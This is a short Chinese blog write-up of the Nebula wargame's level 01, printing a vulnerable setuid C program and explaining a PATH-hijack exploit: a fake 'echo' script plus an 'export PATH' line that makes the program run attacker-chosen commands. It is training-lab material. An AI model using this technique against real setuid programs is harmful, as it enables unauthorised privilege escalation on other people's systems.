nebula 01
2014-08-20 22:52
183 查看
这一关是找出一个程序可以执行任意程序的漏洞
问题出在/usr/bin/env这个命令,用这个命令启动后面的shell命令
在自己的主目录建立一个叫echo的脚本,想执行什么就写什么,然后权限设置为可执行,接下来把当前目录加到PATH环境变量的最前端
export PATH=/home/level01/:$PATH
然后执行这个程序,就可以调到我们的假的echo命令了
echo:
#!/bin/bash
getflag
1#include <stdlib.h> 2#include <unistd.h> 3#include <string.h> 4#include <sys/types.h> 5#include <stdio.h> 6 7int main(int argc, char **argv, char **envp) 8{ 9 gid_t gid; 10 uid_t uid; 11 gid = getegid(); 12 uid = geteuid(); 13 14 setresgid(gid, gid, gid); 15 setresuid(uid, uid, uid); 16 17 system("/usr/bin/env echo and now what?"); 18}
问题出在/usr/bin/env这个命令,用这个命令启动后面的shell命令
在自己的主目录建立一个叫echo的脚本,想执行什么就写什么,然后权限设置为可执行,接下来把当前目录加到PATH环境变量的最前端
export PATH=/home/level01/:$PATH
然后执行这个程序,就可以调到我们的假的echo命令了
echo:
#!/bin/bash
getflag
相关文章推荐
- “手把手教你学linux驱动开发”OK6410系列之01---模块编程
- C++代码片段01 - 字符串中查找是否有某个字符
- Android消息处理机制(Handler 与Message)---01
- 《ReactNative系列讲义》进阶篇---01.自定义单选对话框 SingleChoiceDialog
- HTML基础----常用标签(笔记01)
- 01背包问题
- 01背包变形--求方案数
- UVA 624CD(01背包输出 + 输出路径)
- 动态规划之01背包、完全背包问题
- 【CCF-CSP 201609-01】中间数
- 01背包之深度优先搜索法
- Nebula: level06
- 第二次冲刺-Runner站立会议01
- 01背包1001
- Redis学习笔记01---配置文件
- javascript学习系列01(javascript历史)
- Spark API编程动手实战-08-基于IDEA使用Spark API开发Spark程序-01
- 团队第二次冲刺01
- hdu 1864 最大报销额 01背包
- Dubbo初步搭建-01